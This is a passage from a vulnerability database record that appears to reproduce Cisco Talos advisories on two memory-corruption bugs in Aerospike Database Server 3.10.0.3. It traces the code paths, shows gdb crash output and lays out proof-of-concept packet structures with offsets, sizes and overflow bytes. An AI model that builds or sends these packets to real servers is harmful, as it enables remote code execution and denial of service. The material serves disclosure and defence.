(as_transaction_is_multi_record(tr)) { // [1] \\\r\n...\r\n if (as_transaction_is_batch_direct(tr)) { // [2] \\\r\n...\r\n }\r\n else if (as_transaction_is_query(tr)) { // [3] \\\r\n // Query.\r\n...\r\n if (as_query(tr, ns) != 0) { // [4]\r\n...\r\n\r\n\r\n\\ [1]\r\nas/include/base/transaction.h:265\r\nstatic inline bool\r\nas_transaction_is_multi_record(const as_transaction *tr)\r\n{\r\n return (tr->msg_fields & (AS_MSG_FIELD_BIT_KEY | AS_MSG_FIELD_BIT_DIGEST_RIPE)) == 0 &&\r\n (tr->from_flags & FROM_FLAG_BATCH_SUB) == 0;\r\n}\r\n\r\n\\ [2]\r\nas/include/base/transaction.h:272\r\nstatic inline bool\r\nas_transaction_is_batch_direct(const as_transaction *tr)\r\n{\r\n // Assumes we're already multi-record.\r\n return (tr->msg_fields & AS_MSG_FIELD_BIT_DIGEST_RIPE_ARRAY) != 0;\r\n}\r\n\r\n\\ [3]\r\nas/include/base/transaction.h:265\r\nstatic inline bool\r\nas_transaction_is_query(const as_transaction *tr)\r\n{\r\n // Assumes we're already multi-record.\r\n return (tr->msg_fields & AS_MSG_FIELD_BIT_INDEX_RANGE) != 0;\r\n}\r\n```\r\n\r\nAt the beginning of the `as_query` function, the application will hand-off the transaction to the `query_setup` function [1]. Inside this function, the server will ensure that the requested namespace has a secondary index associated with it by calling the `as_sindex_ns_has_sindex` [2]. After this is determined, the metadata for the index will be fetched from the packet at [3]. After all is said and done, the server will read a string out of the ASMSGFIELDTYPESET field. This will get saved to the `setname` variable and then passed as an argument to [4].\r\n```\r\nas/src/base/thr_query.c:2856\r\nint\r\nas_query(as_transaction *tr, as_namespace *ns)\r\n{\r\n if (tr) {\r\n QUERY_HIST_INSERT_DATA_POINT(query_txn_q_wait_hist, tr->start_time);\r\n }\r\n\r\n as_query_transaction *qtr;\r\n int rv = query_setup(tr, ns, &qtr); // [1] \\\r\n...\r\n\\\r\nas/src/base/thr_query.c:2686\r\nstatic int\r\nquery_setup(as_transaction *tr, as_namespace *ns, as_query_transaction **qtrp)\r\n{\r\n...\r\n bool has_sindex = as_sindex_ns_has_sindex(ns); // [2]\r\n...\r\n int ret = as_sindex_rangep_from_msg(ns, &tr->msgp->msg, &srange);\r\n...\r\n ASD_SINDEX_MSGRANGE_FINISHED(nodeid, trid);\r\n // get optional set\r\n as_msg_field *sfp = as_transaction_has_set(tr) ?\r\n as_msg_field_get(&tr->msgp->msg, AS_MSG_FIELD_TYPE_SET) : NULL; // [3]\r\n if (sfp && as_msg_field_get_value_sz(sfp) > 0) {\r\n setname = cf_strndup((const char *)sfp->data, as_msg_field_get_value_sz(sfp));\r\n }\r\n...\r\n } else {\r\n // Look up sindex by bin in the query in case not\r\n // specified in query\r\n si = as_sindex_from_range(ns, setname, srange); // [4]\r\n }\r\n```\r\n\r\nInside the `as_sindex_from_range` function, the string from the packet will be passed through the `as_sindex_lookup_by_defns` function which is a wrapper around `as_sindex__lookup_lockfree`. Later in that function, the string will be handed off to `as_sindex__simatch_by_set_binid`. This is the function that contains our specific vulnerability.\r\n```\r\nas/src/base/secondary_index.c:2520\r\nas_sindex *\r\nas_sindex_from_range(as_namespace *ns, char *set, as_sindex_range *srange)\r\n{\r\n...\r\n as_sindex *si = as_sindex_lookup_by_defns(ns, set, srange->start.id, // [1] \\\\\r\n as_sindex_sktype_from_pktype(srange->start.type), srange->itype, srange->bin_path,\r\n AS_SINDEX_LOOKUP_FLAG_ISACTIVE);\r\n\\\\\r\nas_sindex *\r\nas_sindex__lookup_lockfree(as_namespace *ns, char *iname, char *set, int binid,\r\n as_sindex_ktype type, as_sindex_type itype, char * path, char flag)\r\n{\r\n...\r\n simatch = as_sindex__simatch_by_set_binid(ns, set, binid, type, itype, path); // [2]\r\n...\r\n```\r\n\r\nFinally the string will be passed into `as_sindex__simatch_list_by_set_binid` [1] and then used as an argument to sprintf [2]. If the length of the string plus the id for the bin is larger than ASSINDEXPROPKEYSIZE (84), then this vulnerability is being triggered.\r\n```\r\nas/src/base/secondary_index.c:122\r\n#define AS_SINDEX_PROP_KEY_SIZE (AS_SET_NAME_MAX_SIZE + 20) // setname_binid_typeid\r\n\r\nas/include/base/datamodel.h:1141\r\n#define AS_SET_NAME_MAX_SIZE 64 // includes space for null-terminator\r\n\r\nas/src/base/secondary_index.c:849\r\nint\r\nas_sindex__simatch_by_set_binid(as_namespace *ns, char * set, int binid, as_sindex_ktype type, as_sindex_type itype, char * path)\r\n{\r\n...\r\n cf_ll * simatch_ll = NULL;\r\n as_sindex__simatch_list_by_set_binid(ns, set, binid, &simatch_ll); // [1]\r\n...\r\n\\\r\nas/src/base/secondary_index.c:815\r\nas_sindex_status\r\nas_sindex__simatch_list_by_set_binid(as_namespace * ns, const char *set, int binid, cf_ll ** simatch_ll)\r\n{\r\n // Make the fixed size key (set_binid)\r\n // Look for the key in set_binid_hash\r\n // If found return the value (list of simatches)\r\n // Else return NULL\r\n\r\n // Make the fixed size key (set_binid)\r\n char si_prop[AS_SINDEX_PROP_KEY_SIZE];\r\n memset(si_prop, 0, AS_SINDEX_PROP_KEY_SIZE);\r\n if (!set) {\r\n sprintf(si_prop, \"_%d\", binid);\r\n }\r\n else {\r\n sprintf(si_prop, \"%s_%d\", set, binid); // [2]\r\n }\r\n```\r\n\r\n### Crash Information\r\n```\r\n# gdb -q -p `systemctl status aerospike.service | grep 'Main PID' | cut -d: -f2- | cut -d' ' -f2`\r\n...\r\n\r\n(gdb) b as_sindex__simatch_by_iname\r\nBreakpoint 5 at 0x506331: file base/secondary_index.c, line 985.\r\n\r\n(gdb) c\r\nContinuing.\r\n[Switching to Thread 0x7f8d0cf77700 (LWP 43832)]\r\n\r\nCatchpoint 4 (signal SIGSEGV), 0x0000000000505b41 in as_sindex__simatch_list_by_set_binid (ns=0x4141414141414141,\r\n set=0x4141414141414141 <Address 0x4141414141414141 out of bounds>,\r\n binid=0x41414141, simatch_ll=0x4141414141414141)\r\n at base/secondary_index.c:834\r\n834 int rv = shash_get(ns->sindex_set_binid_hash, (void *)si_prop, (void *)simatch_ll);\r\n```\r\n\r\n### Exploit Proof-of-Concept\r\nTo execute the provided proof-of-concept, simply extract and run it as follows:\r\n```\r\n$ python poc hostname:3000 $namespace $binid\r\nTrying to connect to hostname:3000\r\nSending 0x232 byte packet... done.\r\n```\r\n\r\nA client packet for Aerospike server has the following structure. The first 2 bytes describe the protocol `version` and the protocol `type`. The `version` must be 0x02, where the protocol `type` can be one of two values. If ASCOMPRESSEDMSG(0x04) is specified, then the contents of `data` are zlib-encoded. Otherwise, the AS_MSG(0x03) value is used. The size of this data is defined by the `sz` field which is a 48-bit unsigned integer.\r\n```\r\n<class aspie.as_proto_s>\r\n[0] <instance aspie.proto_version 'version'> v2(0x2)\r\n[1] <instance aspie.proto_type 'type'> AS_MSG(0x3)\r\n[2] <instance uint48_t 'sz'> +0x00000000022e (558)\r\n[8] <instance aspie.as_msg_s 'data'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00 ..skipped ~538 bytes.. \\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\r\n```\r\n\r\nThe contents of the `data` field has the following structure. In order to submit a message that passes the checks at `as_transaction_is_multi_record` and `as_transaction_is_query`, There simply needs to be a field with the NAMESPACE(0x0) id, one with an INDEXRANGE(0x16) id, and no fields that use the BITKEY(2) or BITDIGESTRIPE(4) identifiers. The field that is being used to overflow with is using the INDEXNAME(0x15) id. This means that there must be at least three fields defined and thus the uint16t field `n_fields` must be set to 0x0003 or more.\r\n```\r\n<class aspie.as_msg_s> 'data'\r\n[8] <instance uint8_t 'header_sz'> +0x00 (0)\r\n[9] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8)\r\n[a] <instance aspie.AS_MSG_INFO2 'info2'> {bits=8} (0x00, 8)\r\n[b] <instance aspie.AS_MSG_INFO3 'info3'> {bits=8} (0x00, 8)\r\n[c] <instance uint8_t 'unused'> +0x00 (0)\r\n[d] <instance uint8_t 'result_code'> +0x00 (0)\r\n[e] <instance uint32_t 'generation'> +0x00000000 (0)\r\n[12] <instance uint32_t 'record_ttl'> +0x00000000 (0)\r\n[16] <instance uint32_t 'transaction_ttl'> +0x00000000 (0)\r\n[1a] <instance uint16_t 'n_fields'> +0x0003 (3)\r\n[1c] <instance uint16_t 'n_ops'> +0x0000 (0)\r\n[1e] <instance array(aspie.as_msg_field_s,3) 'fields'> aspie.as_msg_field_s[3] \"\\x00\\x00\\x00\\x09\\x00\\x58\\x58 ..skipped ~516 bytes.. \\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\r\n[236] <instance array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] \"\"\r\n```\r\n\r\nAf offset 0x1e of the packet is the definition of `fields`. This is an array of fields that provide options for the type of request that is being made. The field identified by NAMESPACE(0x0) contains a namespace that supports the configuration defined above.\r\n```\r\n<class aspie.as_msg_field_s> '0'\r\n[1e] <instance uint32_t 'field_sz'> +0xXXXXXXXX (X)\r\n[22] <instance aspie.AS_MSG_FIELD_TYPE 'type'> NAMESPACE(0x0)\r\n[23] <instance aspie.as_msg_namespace_s<char_t> 'data'> ...\r\n```\r\n\r\nOne of the requirements is that an INDEX_RANGE(0x16) field must be defined. This begins at offset 0x2b of the packet generated by the proof-of-concept.\r\n```\r\n<class aspie.as_msg_field_s> '1'\r\n[24] <instance be(pint.uint32_t) 'field_sz'> +0x0000001d (29)\r\n[28] <instance be(aspie.AS_MSG_FIELD_TYPE) 'type'> INDEX_RANGE(0x16)\r\n[29] <instance aspie.as_msg_index_range_s 'data'> \"\\x01\\x01\\x62\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\r\n<class aspie.as_msg_index_range_s> 'data'\r\n[29] <instance be(pint.uint8_t) 'numrange'> +0x01 (1)\r\n[2a] <instance dynamic.array(aspie.irange,1) 'range'> aspie.irange[1] \"\\x01\\x62\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\r\n<class aspie.irange> '0'\r\n[2a] <instance be(pint.uint8_t) 'bin_path_len'> +0x01 (1)\r\n[2b] <instance c(pstr.string<char_t>) 'bin_path'> u'b'\r\n[2c] <instance aspie.particle 'particle'> \"\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\r\n<class aspie.particle> 'particle'\r\n[2c] <instance be(aspie.AS_PARTICLE_TYPE) 'type'> INTEGER(0x1)\r\n[2d] <instance be(pint.uint32_t) 'start_particle_size'> +0x00000008 (8)\r\n[31] <instance dynamic.block(8) 'start_particle_data'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n[39] <instance be(pint.uint32_t) 'end_particle_size'> +0x00000008 (8)\r\n[3d] <instance dynamic.block(8) 'end_particle_data'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n```\r\n\r\nAnother requirement is that an INDEX_TYPE(0x1a) field must be defined.\r\n```\r\n<class aspie.as_msg_field_s> '3'\r\n[24a] <instance be(pint.uint32_t) 'field_sz'> +0x00000001 (1)\r\n[24e] <instance be(aspie.AS_MSG_FIELD_TYPE) 'type'> INDEX_TYPE(0x1a)\r\n[24f] <instance c(be(aspie.as_msg_index_type_s)) 'data'> DEFAULT(0x0)\r\n```\r\n\r\nThe last field that is used to overflow the 84 byte buffer has the identifier of SET(0x1). As long as the length defined in `field_sz` is larger than 84 (exclusive) and the contents of `data` contains the same number of bytes, this vulnerability is being triggered.\r\n```\r\n<class aspie.as_msg_field_s> '2'\r\n[45] <instance be(pint.uint32_t) 'field_sz'> +0x00000201 (513)\r\n[49] <instance be(aspie.AS_MSG_FIELD_TYPE) 'type'> SET(0x1)\r\n[4a] <instance c(c(ptype.block)) 'data'> \"\\x41\\x41\\x41\\x41\\x41\\x41\\x41 ..skipped ~492 bytes.. \\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\r\n```\r\n\r\n### Timeline\r\n* 2016-12-23 - Vendor Disclosure\r\n* 2017-01-09 - Public Release\r\n\r\n### CREDIT\r\n* Discovered by the Cisco Talos Team.", "modified": "2017-09-26T00:00:00", "published": "2017-09-26T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96589", "id": "SSV:96589", "type": "seebug", "title": "Aerospike Database Server Set Name Code Execution Vulnerability(CVE-2016-9054)", "sourceData": "", "sourceHref": "", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-11-19T13:13:16", "bulletinFamily": "exploit", "description": "### Summary\r\nAn exploitable out-of-bounds write vulnerability exists in the batch transaction field parsing functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause an out-of-bounds write resulting in memory corruption which can lead to remote code execution. An attacker can simply connect to the port to trigger this vulnerability.\r\n\r\n### Tested Versions\r\nAerospike Database Server 3.10.0.3\r\n\r\n### Product URLs\r\nhttps://github.com/aerospike/aerospike-server/tree/3.10.0.3\r\n\r\n### CVSSv3 Score\r\n9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\r\n\r\n### CWE\r\nCWE-823 - Use of Out-of-range Pointer Offset\r\n\r\n### Details\r\nAerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media.\r\n\r\nFor handling packets received by a client, the server spawns multiple threads which each execute the `thr_demarshal` function. When a socket is ready to be read, the server will receive data from the socket and determine the packet's message type. If it's protocol type specifies that the packet is compressed (PROTOTYPEASMSGCOMPRESSED), the server will decompress the contents of the packet with zlib [1] and then continue to process the packet as a type of PROTOTYPEASMSG. When processing a packet type of PROTOTYPEASMSG, the server will check some flags within the header and use it to determine what type of request is being made. If one of these flags specifies the ASMSGINFO1_BATCH option, the server will pass the packet to the `as_batch_queue_task` function [2].\r\n```\r\nas/src/base/thr_demarshal.c:389\r\nvoid *\r\nthr_demarshal(void *unused)\r\n{\r\n...\r\n // Demarshal transactions from the socket.\r\n...\r\n // Iterate over all events.\r\n for (i = 0; i < nevents; i++) {\r\n...\r\n // If pointer is NULL, then we need to create a transaction and\r\n // store it in the buffer.\r\n if (fd_h->proto == NULL) {\r\n...\r\n // Do a preliminary read of the header into a stack-\r\n // allocated structure, so that later on we can allocate the\r\n // entire message buffer.\r\n if (0 >= (n = cf_socket_recv(sock, &proto, sizeof(as_proto), MSG_WAITALL))) {\r\n cf_detail(AS_DEMARSHAL, \"proto socket: read header fail: error: rv %d sz was %d errno %d\", n, sz, errno);\r\n goto NextEvent_FD_Cleanup;\r\n }\r\n...\r\n // Check for a finished read.\r\n if (0 == fd_h->proto_unread) {\r\n...\r\n // Check if it's compressed.\r\n if (tr.msgp->proto.type == PROTO_TYPE_AS_MSG_COMPRESSED) { // [1]\r\n...\r\n }\r\n...\r\n // Fast path for batch requests.\r\n if (tr.msgp->msg.info1 & AS_MSG_INFO1_BATCH) {\r\n as_batch_queue_task(&tr); // [2]\r\n goto NextEvent;\r\n }\r\n```\r\n\r\nInside the `as_batch_queue_task` function, the server will first parse the header [1] and then proceed to iterate through all the fields defined in the packet looking for fields with the type ASMSGFIELDTYPEBATCH or ASMSGFIELDTYPEBATCHWITHSET. If a field with this type is discovered, the function will save it to the bf variable [2]. Later, the server will then process the specific field by reading a uint32_t [3] which is used as the number of records to read from the packet followed by a byte [4] that determines whether the transaction described in the packet is processed in-line or not. The server will then enter a loop to read each record out of the packet.\r\n```\r\nas/src/base/batch.c:636\r\nint\r\nas_batch_queue_task(as_transaction* btr)\r\n{\r\n...\r\n // Parse fields\r\n uint8_t* limit = (uint8_t*)bmsg + bproto->sz;\r\n as_msg_field* mf = (as_msg_field*)bmsg->data;\r\n as_msg_field* end;\r\n as_msg_field* bf = 0;\r\n...\r\n // Parse header\r\n as_msg* bmsg = &btr->msgp->msg;\r\n as_msg_swap_header(bmsg); // [1]\r\n\r\n // Parse fields\r\n...\r\n for (int i = 0; i < bmsg->n_fields; i++) {\r\n...\r\n as_msg_swap_field(mf);\r\n end = as_msg_field_get_next(mf);\r\n\r\n if (mf->type == AS_MSG_FIELD_TYPE_BATCH || mf->type == AS_MSG_FIELD_TYPE_BATCH_WITH_SET) {\r\n bf = mf; // [2]\r\n }\r\n mf = end;\r\n }\r\n...\r\n // Parse batch field\r\n uint8_t* data = bf->data;\r\n uint32_t tran_count = cf_swap_from_be32(*(uint32_t*)data); // [3]\r\n data += sizeof(uint32_t);\r\n...\r\n uint32_t tran_row = 0;\r\n uint8_t info = *data++; // allow transaction inline. // [4]\r\n...\r\n while (tran_row < tran_count && data + BATCH_REPEAT_SIZE <= limit) {\r\n // Copy transaction data before memory gets overwritten.\r\n in = (as_batch_input*)data;\r\n tr.from_data.batch_index = cf_swap_from_be32(in->index);\r\n memcpy(&tr.keyd, &in->keyd, sizeof(cf_digest));\r\n...\r\n```\r\n\r\nInside the loop, the server will check to see if the `repeat` boolean is set. If it's not, the server will proceed to create a `cl_msg` structure in order to satisfy the batch request made by the client [1]. If the repeat boolean is set, the previous message is reused in order to complete the transaction [2]. It is prudent to note that if the first transaction is set to repeat, an uninitialized transaction will be queued to the server which can cause a denial-of-service condition. After determining that a transaction should be read from the packet, the server will read two uint16_t values to determine the number of fields (`n_fields`) and number of operations (`n_ops`) [3] that need to be read.\r\n```\r\nas/src/base/batch.c:781\r\n while (tran_row < tran_count && data + BATCH_REPEAT_SIZE <= limit) {\r\n // Copy transaction data before memory gets overwritten.\r\n in = (as_batch_input*)data;\r\n tr.from_data.batch_index = cf_swap_from_be32(in->index);\r\n memcpy(&tr.keyd, &in->keyd, sizeof(cf_digest));\r\n...\r\n if (in->repeat) { // [2]\r\n // Row should use previous namespace and bin names.\r\n data += BATCH_REPEAT_SIZE;\r\n }\r\n else {\r\n // Row contains full namespace/bin names.\r\n out = (cl_msg*)data; // [1]\r\n\r\n if (data + sizeof(cl_msg) + sizeof(as_msg_field) > limit) {\r\n break;\r\n }\r\n...\r\n // n_fields/n_ops is in exact same place on both input/output, but the value still\r\n // needs to be swapped.\r\n out->msg.n_fields = cf_swap_from_be16(in->n_fields); // [3]\r\n\r\n // Older clients sent zero, but always sent namespace. Adjust this.\r\n if (out->msg.n_fields == 0) {\r\n out->msg.n_fields = 1;\r\n }\r\n\r\n out->msg.n_ops = cf_swap_from_be16(in->n_ops); // [3]\r\n```\r\n\r\nAfter reading the number of fields and the number of operations, the server will iterate through the packet calling `as_msg_swap_field` [1] for each field, and set a flag if a field is of the type ASMSGFIELDTYPESET [1]. To seek to the next field within the packet, the server will call `as_msg_field_get_next` [2]. This function will simply read a uint32_t out of the packet as a size and add it to the pointer that is provided as the argument. Due to a missing bounds check within the loop, the call to this function can seek the `mf` variable outside the bounds of the packet at which point the next iteration of the `as_msg_swap_field` call can flip the byte-order for the size. This can cause memory corruption which can lead to code execution under the context of the server. Immediately after processing off the transaction operations within the packet, the server correctly checks to see if any seeking causes the `op` variable to be seeked out-of-bounds [3]. This is done for both the `as_msg_op` structure itself and when using the size defined within to seek to the next operation.\r\n```\r\nas/src/base/batch.c:827\r\n mf = as_msg_field_get_next(mf);\r\n\r\n // Swap remaining fields.\r\n for (uint16_t j = 1; j < out->msg.n_fields; j++) {\r\n if (mf->type == AS_MSG_FIELD_TYPE_SET) {\r\n as_transaction_set_msg_field_flag(&tr, AS_MSG_FIELD_TYPE_SET);\r\n }\r\n\r\n as_msg_swap_field(mf); // [1]\r\n mf = as_msg_field_get_next(mf); // [2]\r\n }\r\n\r\n data = (uint8_t*)mf;\r\n...\r\n if (out->msg.n_ops) {\r\n // Bin names input is same as transaction ops, so just leave in place and swap.\r\n uint16_t n_ops = out->msg.n_ops;\r\n for (uint16_t j = 0; j < n_ops; j++) {\r\n if (data + sizeof(as_msg_op) > limit) { // [3]\r\n goto TranEnd;\r\n }\r\n op = (as_msg_op*)data;\r\n as_msg_swap_op(op);\r\n op = as_msg_op_get_next(op);\r\n data = (uint8_t*)op;\r\n\r\n if (data > limit) { // [3]\r\n goto TranEnd;\r\n }\r\n }\r\n }\r\n```\r\n\r\n### Crash Information\r\n```\r\n# gdb -q -p `systemctl status aerospike.service | grep 'Main PID' | cut -d: -f2- | cut -d' ' -f2`\r\n\r\n...\r\n(gdb) c\r\nContinuing.\r\n[Switching to Thread 0x7f7463fff700 (LWP 13293)]\r\n\r\nCatchpoint 4 (signal SIGSEGV), 0x00000000004b8527 in as_batch_queue_task (\r\n btr=0x7f7463ffb930) at base/batch.c:831\r\n831 if (mf->type == AS_MSG_FIELD_TYPE_SET) {\r\n\r\n(gdb) x/i $pc\r\n=> 0x4b8527 <as_batch_queue_task+2823>: movzbl 0x4(%rax),%ecx\r\n\r\n(gdb) i r $rax\r\nrax 0x7f75580c410e 0x7f75580c410e\r\n\r\n(gdb) db data L0x10\r\n7f74580c410b | ff ff ff ff 01 ff ff ff ff 01 00 00 00 00 00 00 | ................\r\n\r\n(gdb) p *(as_msg_field*)data\r\n$7 = {field_sz = 0xffffffff, type = 0x1, data = 0x7f74580c4110 \"\\377\\377\\377\\377\\001\"}\r\n\r\n(gdb) p data + ((as_msg_field*)data)->field_sz + sizeof(((as_msg_field*)0)->field_sz)\r\n$26 = (uint8_t *) 0x7f75580c410e <Address 0x7f75580c410e out of bounds>\r\n```\r\n\r\n### Exploit Proof-of-Concept\r\nTo execute the provided proof-of-concept, simply extract and run it as follows:\r\n```\r\n$ python poc hostname:3000\r\nTrying to connect to hostname:3000\r\nSending 0x73 byte packet... done.\r\n```\r\n\r\nA client packet for Aerospike server has the following structure. The first 2 bytes describe the protocol `version` and the protocol `type`. The `version` must be 0x02, where the protocol `type` can be one of two values. If ASCOMPRESSEDMSG(0x04) is specified, then the contents of `data` are zlib-encoded. Otherwise, the AS_MSG(0x03) value is used. The size of this data is defined by the `sz` field which is a 48-bit unsigned integer.\r\n```\r\n<class aspie.as_proto_s>\r\n[0] <instance aspie.proto_version 'version'> v2(0x2)\r\n[1] <instance aspie.proto_type 'type'> AS_MSG(0x3)\r\n[2] <instance uint48_t 'sz'> +0x00000000006b (107)\r\n[8] <instance aspie.as_msg_s 'data'> \"\\x00\\x08\\x00\\x00\\x00\\x00\\x00 ..skipped ~87 bytes.. \\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n```\r\n\r\nThe contents of the data field has the following structure. In order to submit a batch message, a flag needs to be specified in the `info1` field. When the fourth bit is set (0x08) the packet is representing a batched transaction that intended to be queued. After this flag is set, the number of protocol fields is specified in `n_fields`.\r\n```\r\n<class aspie.as_msg_s> 'data'\r\n[8] <instance uint8_t 'header_sz'> +0x00 (0)\r\n[9] <instance aspie.AS_MSG_INFO1 'info1'> bits=8} (0x08, 8) BATCH\r\n[a] <instance aspie.AS_MSG_INFO2 'info2'> bits=8} (0x00, 8)\r\n[b] <instance aspie.AS_MSG_INFO3 'info3'> bits=8} (0x00, 8)\r\n[c] <instance uint8_t 'unused'> +0x00 (0)\r\n[d] <instance uint8_t 'result_code'> +0x00 (0)\r\n[e] <instance uint32_t 'generation'> +0x00000000 (0)\r\n[12] <instance uint32_t 'record_ttl'> +0x00000000 (0)\r\n[16] <instance uint32_t 'transaction_ttl'> +0x00000000 (0)\r\n[1a] <instance uint16_t 'n_fields'> +0x0002 (2)\r\n[1c] <instance uint16_t 'n_ops'> +0x0000 (0)\r\n[1e] <instance array(aspie.as_msg_field_s,2) 'fields'> aspie.as_msg_field_s[2] \"\\x00\\x00\\x00\\x01\\x00\\x00\\x00 ..skipped ~65 bytes.. \\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n[73] <instance array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] \"\"\r\n```\r\n\r\nThe provided proof-of-concept sends a packet with two fields encoded within. Each field will begin with a 32-bit size. This size includes the number of bytes that represent the type as well as the contents of the `data` field. The two field types that are required are the NAMESPACE(0x0) type and the BATCH(0x29) type. The NAMESPACE(0x0) type simply contains an ascii-encoded string describing the namespace to query within the `data` field.\r\n```\r\n<class aspie.as_msg_field_s> '0'\r\n[1e] <instance uint32_t 'field_sz'> +0xXXXXXXXX (X)\r\n[22] <instance aspie.AS_MSG_FIELD_TYPE 'type'> NAMESPACE(0x0)\r\n[23] <instance aspie.as_msg_namespace_s<char_t> 'data'> ...\r\n\r\n<class aspie.as_msg_field_s> '1'\r\n[23] <instance uint32_t 'field_sz'> +0x0000004c (76)\r\n[27] <instance aspie.AS_MSG_FIELD_TYPE 'type'> BATCH(0x29)\r\n[28] <instance aspie.as_msg_batch_s 'data'> \"\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\xff\\xff\\xff\\xff\\x01\\xff\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n```\r\n\r\nThe BATCH(0x29) field has the following structure. The `tran_count` variable describes the number of transactions that are within. The provided proof-of-concept includes two transactions of which only one is required. The `info` byte that follows describes whether the transaction should be executed in-line or queued for later and does not affect the triggering of this vulnerability.\r\n```\r\n<class aspie.as_msg_batch_s> 'data'\r\n[28] <instance uint32_t 'tran_count'> +0x00000002 (2)\r\n[2c] <instance uint8_t 'info'> +0x00 (0)\r\n[2d] <instance aspie.as_batch_input 'transactions'> aspie.transaction[2] \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\xff\\xff\\xff\\xff\\x01\\xff\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n```\r\n\r\nEach transaction begins with a 25-byte header. The last byte of this header represents which type of transaction record is described. If it is set to 0x01, then a repeat record is used otherwise an actual 'asmsgs' structure within the packet. The vulnerability described in this advisory revolves around the fields described within an embedded 'asmsgs' packet and so, as a result, the 25th byte of the header must be defined as 0x00. The first batch transaction and it's header is as follows.\r\n```\r\n<class aspie.transaction> '0'\r\n[2d] <instance aspie._header 'header'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n[46] <instance aspie.as_batch_msg 'msg'> \"\\x00\\x00\\x02\\x00\\x00\\xff\\xff\\xff\\xff\\x01\\xff\\xff\\xff\\xff\\x01\"\r\n\r\n<class aspie.as_batch_repeat> 'rpt'\r\n[0] <instance uint32_t 'index'> +0x00000000 (0)\r\n[4] <instance aspie.cf_digest 'keyd'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n[18] <instance uint8_t 'repeat'> +0x00 (0)\r\n```\r\n\r\nDue to the `repeat` byte in the header being 0x00, the structure at offset 0x2d of the packet contains an `as_msg_s` type. When processing this type encoded within a BATCH(0x29) field, the transaction `header` is encoded as a truncated `as_msg_s` type and has the following format. The contents of `proto` and `trunc(msg)` are mostly ignored by Aerospike Server.\r\n```\r\n<class aspie.as_batch_msgtrunc> 'msg'\r\n[0] <instance aspie.as_batch_proto_s 'proto'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n[8] <instance aspie.as_batch_msg_s 'trunc(msg)'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\r\n<class aspie.as_batch_proto_s> 'proto'\r\n[0] <instance aspie.proto_version 'version'> v0(0x0)\r\n[1] <instance aspie.proto_type 'type'> +0x00 (0)\r\n[2] <instance uint48_t 'sz'> +0x000000000000 (0)\r\n\r\n<class aspie.as_batch_msg_s> 'trunc(msg)'\r\n[8] <instance uint8_t 'header_sz'> +0x00 (0)\r\n[9] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8)\r\n[a] <instance aspie.AS_MSG_INFO2 'info2'> {bits=8} (0x00, 8)\r\n[b] <instance aspie.AS_MSG_INFO3 'info3'> {bits=8} (0x00, 8)\r\n[c] <instance uint8_t 'unused'> +0x00 (0)\r\n[d] <instance uint8_t 'result_code'> +0x00 (0)\r\n[e] <instance uint32_t 'generation'> +0x00000000 (0)\r\n[12] <instance uint32_t 'record_ttl'> +0x00000000 (0)\r\n[16] <instance uint_t 'trunc(transaction_ttl)'> +0x0000 (0)\r\n[18] <instance uint8_t 'repeat'> +0x00 (0)\r\n```\r\n\r\nAt 